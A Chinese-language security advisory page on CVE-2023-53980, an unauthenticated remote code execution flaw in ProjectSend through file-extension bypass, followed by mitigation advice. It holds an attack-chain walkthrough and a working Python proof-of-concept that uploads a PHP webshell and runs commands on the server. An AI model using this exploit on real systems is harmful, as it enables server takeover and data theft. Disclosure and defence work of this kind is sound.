IPBUF安全漏洞报告
English
CVE-2023-53980 CVSS 9.8 严重

CVE-2023-53980 ProjectSend 远程代码执行漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2023-53980
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ProjectSend

相关标签

CVE-2023-53980ProjectSend远程代码执行文件上传漏洞webshell文件扩展名绕过无需认证CVSS 9.8关键漏洞

漏洞概述

CVE-2023-53980是ProjectSend r1605版本中存在的一个严重远程代码执行漏洞。该漏洞允许未经认证的攻击者通过操纵文件扩展名上传恶意文件到服务器,从而执行任意系统命令。漏洞存在于upload.process.php端点,攻击者可利用文件扩展名欺骗手段绕过上传限制,上传包含恶意代码的脚本文件(如PHP webshell)并通过HTTP请求触发执行。由于该漏洞无需认证即可利用,且CVSS评分高达9.8,属于紧急修复的安全缺陷。ProjectSend是一款开源的文件分享和传输管理工具,广泛应用于企业内部文件共享场景。攻击者一旦成功利用此漏洞,可完全控制受影响的服务器,窃取敏感数据、植入后门或进一步横向移动至内网其他系统。该漏洞的披露时间较早,但相关修复补丁可能未及时部署,建议所有使用ProjectSend的用户立即检查版本并采取相应措施。

技术细节

该漏洞的核心问题在于ProjectSend的文件上传功能对文件扩展名验证不足。攻击者可以通过修改文件扩展名(如将.php改为.php5、.phtml或添加双扩展名如shell.php.jpg)绕过上传时的扩展名校验,成功将PHP webshell上传至服务器。上传端点upload.process.php在处理文件时,仅检查Content-Type和基本扩展名,但未对文件内容进行安全扫描或对上传目录执行访问限制。上传成功后,攻击者可通过直接访问上传的文件路径(如/uploads/files/malicious.php)来触发webshell执行,从而在服务器上执行任意系统命令。漏洞利用的关键在于绕过文件扩展名校验机制,以及确保webshell代码能在服务器端被解析执行。攻击者通常会使用base64编码的webshell来躲避简单的特征检测。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站是否使用ProjectSend,并确定其版本号。访问目标站点首页或通过robots.txt等途径获取版本信息。
STEP 2
步骤2: 构造恶意文件
攻击者准备包含webshell代码的PHP文件,使用base64编码绕过简单检测,并尝试使用非常见扩展名如.phtml、.php5或双扩展名进行混淆。
STEP 3
步骤3: 文件上传
攻击者向upload.process.php端点发送POST请求,上传构造的恶意文件。由于扩展名验证不完善,文件被成功上传至uploads/files/目录。
STEP 4
步骤4: 触发代码执行
攻击者通过HTTP请求直接访问上传的恶意文件路径,服务器将PHP文件作为脚本解析执行,从而触发webshell功能。
STEP 5
步骤5: 远程命令执行
通过在请求中添加cmd参数(如?cmd=whoami),攻击者可在服务器上执行任意系统命令,实现完全远程控制。
STEP 6
步骤6: 持久化控制
攻击者可利用已获取的服务器权限,植入后门、窃取数据或横向移动至内网其他系统,建立长期访问通道。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53980 PoC - ProjectSend RCE via File Extension Manipulation # Target: ProjectSend r1605 and earlier versions def exploit(target_url, file_path, filename): """ Exploit for ProjectSend remote code execution via file upload Args: target_url: Base URL of the vulnerable ProjectSend instance file_path: Path to the PHP webshell to upload filename: Filename to use for upload (try .phtml or double extension) """ upload_url = f"{target_url}/upload.process.php" # Try different file extensions to bypass validation extensions = ['.php', '.phtml', '.php5', '.php3', '.php.jpg', '.shell.php.jpg'] for ext in extensions: try: files = { 'file': (filename + ext, open(file_path, 'rb'), 'application/x-php') } data = { 'MAX_FILE_SIZE': '1048576', 'Filename': filename + ext } response = requests.post(upload_url, files=files, data=data, timeout=10) # Check if upload was successful if response.status_code == 200: uploaded_path = f"{target_url}/uploads/files/{filename}{ext}" print(f"[+] File uploaded successfully: {uploaded_path}") # Execute command via webshell cmd_url = f"{uploaded_path}?cmd=whoami" exec_response = requests.get(cmd_url, timeout=10) if exec_response.status_code == 200: print(f"[+] RCE Successful! Output: {exec_response.text}") return True except Exception as e: print(f"[-] Error with extension {ext}: {str(e)}") continue return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2023-53980.py <target_url> <webshell_path> ") print("Example: python cve-2023-53980.py http://target.com /tmp/shell.php malicious") sys.exit(1) target = sys.argv[1] shell_path = sys.argv[2] filename = sys.argv[3] exploit(target, shell_path, filename)

影响范围

ProjectSend r1605 及之前所有版本

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)限制upload.process.php端点的访问权限,仅允许授权用户访问;2)在Web服务器配置中禁用上传目录的PHP脚本执行权限(如在nginx中配置location /uploads { deny all; });3)部署Web应用防火墙规则,拦截非常见文件扩展名的上传请求;4)加强对上传文件内容的检测,识别base64编码的webshell特征;5)监控服务器访问日志,及时发现异常的上传和访问行为。建议尽快升级到官方修复版本以彻底消除该安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表